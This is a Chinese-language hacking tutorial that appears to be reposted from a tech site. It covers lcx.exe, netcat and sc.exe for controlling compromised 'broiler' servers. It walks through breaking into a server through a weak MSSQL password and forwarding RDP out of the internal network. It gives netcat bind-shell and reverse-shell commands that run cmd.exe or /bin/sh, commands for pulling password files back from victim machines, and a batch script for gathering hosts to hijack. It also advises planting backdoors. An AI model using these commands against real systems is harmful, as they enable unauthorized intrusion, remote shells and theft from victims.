lcx.exe、nc.exe、sc.exe***中的使用方法

ZDNET安全频道 时间: 2010-03-08 作者: | chinaitlab
本文关键词:linux安全 系统安全

  lcx.exe的使用方法

  以前抓肉鸡都是通过1433弱口令,然后..

  但是发现很多服务器开了1433,3389,但是终端是连不上的,因为服务器本身是在内网,只对外开放了1433端口,幸好有lcx.exe这个东西,用sqltools.exe传倒服务器上...

  lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389.

  用法:如在本机B上监听 -listen 51 3389,在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。

  例:现在有一个ip为 201.1.1.1的1433弱.用端口扫描只发现开放了1433端口.用sqltools链接,dir 看一下 C:>DIR C:

  2004/09/17 10:32

 

  2005/02/21 17:08 12,541 avgun.log。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

  日语,显示不正常.呵呵.

  netstat -an 查看开放端口 TCP 0.0.0.0:3376 0.0.0.0:0 LISTENING

  TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING

  TCP 0.0.0.0:3791 0.0.0.0:0 LISTENING

  TCP 0.0.0.0:3877 0.0.0.0:0 LISTENING

  终端已开.看下IP

  ipconfig

  C:>ipconfig

  Windows 2000 IP Configuration Ethernet adapter

  Connection-specific DNS Suffix . :

  IP Address. . . . . . . . . . . . : 192.168.1.24

  Subnet Mask . . . . . . . . . . . : 255.255.255.0

  Default Gateway . . . . . . . . . : 192.168.1.1192这样的是内网了...

  现在可以用lcx.exe搞定了...

  上传lcx.exe到肉鸡...C:>dir lcx.exeC:WINNTsystem32

  2006/04/02 13:40 32,768 lcx.exe首先在自己机子的cmd下运行

  lcx.exe -listen 51 3389

  意思是监听51端口并转发到3389端口

  显示如下[+] Listening port 51 ......

  [+] Listen OK!

  [+] Listening port 3389 ......

  [+] Listen OK!

  [+] Waiting for Client on port:51 ......然后在肉鸡上运行 lcx.exe -slave 你的IP 51 201.1.1.1 3389

  201.1.1.1是我举例用的肉鸡IP.换成你的..运行以后本机监听端口就会收到信息.[+] Listening port 51 ......

  [+] Listen OK!

  [+] Listening port 3389 ......

  [+] Listen OK!

  [+] Waiting for Client on port:51 ......

  [+] Accept a Client on port 55 from 201.1.1.1 ......

  [+] Waiting another Client on port:3389....好了.现在在自己机子上链接 127.0.0.1 或者输你自己IP.

  发现进去的不是自己机子,(或者自己机子根本连不上),而是肉鸡A了!优点,搞定内网肉鸡.

  缺点,有点麻烦,而且每次都要通过sqltools先进行端口转发.当然也可以用反弹***控制肉鸡了...

  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

  nc.exe的使用方法

  1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息

  2. Netcat 1.10 for NT 帮助信息

  3. Netcat 1.10 常用的命令格式

  4. 管理肉鸡,更改肉鸡设置

  5. 下载连接

  ######################################################################

  1. Netcat 1.10 for NT - nc11nt.zip

  ######################################################################

  Basic Features

  * Outbound or inbound connections, TCP or UDP, to or from any ports

  * Full DNS forward/reverse checking, with appropriate warnings

  * Ability to use any local source port

  * Ability to use any locally-configured network source address

  * Built-in port-scanning capabilities, with randomizer

  * Can read command line arguments from standard inputb

  * Slow-send mode, one line every N seconds

  * Hex dump of transmitted and received data

  * Ability to let another program service established

  connections

  * Telnet-options responder

  New for NT

  * Ability to run in the background without a console window

  * Ability to restart as a single-threaded server to handle a new

  connection

  ________________________________________________________________________

  Some of the features of netcat are:

  Outbound or inbound connections, TCP or UDP, to or from any ports

  Full DNS forward/reverse checking, with appropriate warnings

  Ability to use any local source port

  Ability to use any locally-configured network source address

  Built-in port-scanning capabilities, with randomizer

  Built-in loose source-routing capability

  Can read command line arguments from standard input

  Slow-send mode, one line every N seconds

  Optional ability to let another program service inbound connections

  Some of the potential uses of netcat:

  Script backends

  Scanning ports and inventorying services

  Backup handlers

  File transfers

  Server testing and simulation

  Firewall testing

  Proxy gatewaying

  Network performance testing

  Address spoofing tests

  Protecting X servers

  1001 other uses you`ll likely come up with

  Netcat + Encryption = Cryptcat

  对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.

  1.1 NC.EXE是一个非标准的telnet客户端程序,

  1.2 还有一个putty.exe客户端程序,提供四种连接模式

  -raw -telnet -rlogin -ssh.

  ######################################################################

  2. Netcat 1.10 for NT 帮助信息

  ######################################################################

  C:WINDOWSDesktop>nc -h

  [v1.10 NT]

  connect to somewhere: nc [-options] hostname port[s] [ports] ...

  listen for inbound: nc -l -p port [options] [hostname] [port]

  options:

  -d detach from console, background mode (后台模式)

  -e prog inbound program to exec [dangerous!!]

  -g gateway source-routing hop point[s], up to 8

  -G num source-routing pointer: 4, 8, 12, ...

  -h this cruft (本帮助信息)

  -i secs delay interval for lines sent, ports scanned (延迟时间)

  -l listen mode, for inbound connects (监听模式,等待连接)

  -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)

  -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)

  -o file hex dump of traffic (十六进制模式输出文件,三段)

  -p port local port number (本地端口)

  -r randomize local and remote ports (随机本地远程端口)

  -s addr local source address (本地源地址)

  -t answer TELNET negotiation

  -u UDP mode

  -v verbose [use twice to be more verbose] (-vv 更多信息)

  -w secs timeout for connects and final net reads

  -z zero-I/O mode [used for scanning] (扫描模式,-vv)

  port numbers can be individual or ranges: m-n [inclusive]

  ######################################################################

  3. Netcat 1.10 常用的命令格式

  ######################################################################

  下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。

  3.1.端口的刺探:

  nc -vv ip port

  RIVER [192.168.0.198] 19190 (?) open //显示是否开放open

  3.2.扫描器

  nc -vv -w 5 ip port-port port

  nc -vv -z ip port-port port

  这样扫描会留下大量的痕迹,系统管理员会额外小心

  3.3. 后门

  victim machine: //受害者的机器

  nc -l -p port -e cmd.exe //win2000

  nc -l -p port -e /bin/sh //unix,linux

  attacker machine: //***者的机器.

  nc ip -p port //连接victim_IP,然后得到一个shell。

  3.4.反向连接

  attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe***.

  //或者wollf的反向连接.

  nc -vv -l -p port

  victim machine:

  nc -e cmd.exe attacker ip -p port

  nc -e /bin/sh attacker ip -p port

  或者:

  attacker machine:

  nc -vv -l -p port1 /*用于输入*/

  nc -vv -l -p prot2 /*用于显示*/

  victim machine:

  nc attacker_ip port1 | cmd.exe | nc attacker_ip port2

  nc attacker_ip port1 | /bin/sh | nc attacker_ip port2

  139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)

  这样就可以保证nc.exe优先于NETBIOS。

  3.5.传送文件:

  3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.

  nc -d -l -p port pathfile.txt /*victim machine*/ 需要Ctrl+C退出

  //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入

  Crl+C.

  3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡

  nc -vv -l -p port > pathfile.txt      /*victim machine*/ 需要Ctrl+C退

  出

  nc -d victim_ip port < pathfiledest   /*attacker machine*/ 可以shell执行

  //这样比较好.我们登陆终端.***其他的肉鸡.可以选择shell模式登陆.

  结论: 可以传输ascii,bin文件.可以传输程序文件.

  问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .

  或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?

  3.6 端口数据抓包.

  nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15

  < 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax erro

  r

  < 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" un

  r

  < 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...

  < 00000084 83 00 00 01 8f # .....

  3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.

  nc victim_ip port < pathfile.cmd   /*victim machine*/ 显示执行过程.

  nc -vv victim_ip port < pathfile.cmd   /*victim machine*/ 显示执行过程.

  nc -d victim_ip port a.cmd

  @echo s >>a.cmd

  @echo cd /d %%windir%%system32 >>a.cmd

  @net stop "sksockserver" >>a.cmd

  @snake.exe -config port 11111 >>a.cmd

  @net start "sksockserver" >>a.cmd

  @exit >>a.cmd

  :auto

  @for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 >80.txt

  goto start

  把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多

  是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.

  但是也是一种便宜的办法.

  肉鸡特征:

  1。unicode漏洞

  2。guest密码为空,administrators组用户

  3。其他漏洞

  自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后

  将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将gue

  st帐号停用,以对付傻瓜扫描器

  ######################################################################

  5. 下载连接

  ######################################################################

  5.1 http://www.atstake.com/research/tools/network_utilities/

  Tool: Netcat 1.10 for Unix

  Version: 03.20.96

  Platforms: *nix

  Tool: Netcat 1.1 for Win 95/98/NT/2000

  Version: 02.08.98

  Platforms: Runs on Win 95/98/NT/2000

  5.2 http://www.xfocus.net/download.php?id=320

  名称: cryptcat_nt.zip 更新时间: 2002-04-05

  类别: 网络工具 平台: Win9x/NT/2000 大小: 115.8K 提交: maxilaw

  简介: 加密传输的nc。

  5.3 http://content.443.ch/pub/security/blackhat/Networking/nc/国外的网站

  10.03.02 15:48 1305 cryptcat.txt

  10.03.02 15:48 245760 cryptcat_linux2.tar

  10.03.02 15:48 118533 cryptcat_nt.zip

  ++++++++++++++++++++++++++++++++++++++++++++

  sc.exe的使用方法

  Microsoft Windows [版本 5.2.3790]

  (C) 版权所有 1985-2003 Microsoft Corp.

  c:>sc

  描述:

  SC 是用于与服务控制管理器通信的命令行程序。

  用法:

  sc [command] [service name] ...

  选项 的格式为 "ServerName"

  可以键入 "sc [command]"以获得命令的进一步帮助

  命令:

  query-----------查询服务的状态,

  或枚举服务类型的状态。

  queryex---------查询服务的扩展状态,

  或枚举服务类型的状态。

  start-----------启动服务。

  pause-----------发送 PAUSE 控制请求到服务。

  interrogate-----发送 INTERROGATE 控制请求到服务。

  continue--------发送 CONTINUE 控制请求到服务。

  stop------------发送 STOP 请求到服务。

  config----------(永久地)更改服务的配置。

  description-----更改服务的描述。

  failure---------更改服务失败时所进行的操作。

  qc--------------查询服务的配置信息。

  qdescription----查询服务的描述。

  qfailure--------查询失败服务所进行的操作。

  delete----------(从注册表)删除服务。

  create----------创建服务(将其添加到注册表)。

  control---------发送控制到服务。

  sdshow----------显示服务的安全描述符。

  sdset-----------设置服务的安全描述符。

  GetDisplayName--获取服务的 DisplayName。

  GetKeyName------获取服务的 ServiceKeyName。

  EnumDepend------枚举服务的依存关系。

  下列命令不查询服务名称:

  sc

  boot------------(ok | bad) 表明是否将上一次启动保存为

  最后所知的好的启动配置

  Lock------------锁定服务数据库

  QueryLock-------查询 SCManager 数据库的 LockStatus

  示例:

  sc start MyService

  您想查阅 QUERY 和 QUERYEX 命令的帮助吗? [ y | n ]:

  这是自带的帮助

  如果要删除一个已经存在的服务就是  sc delete servername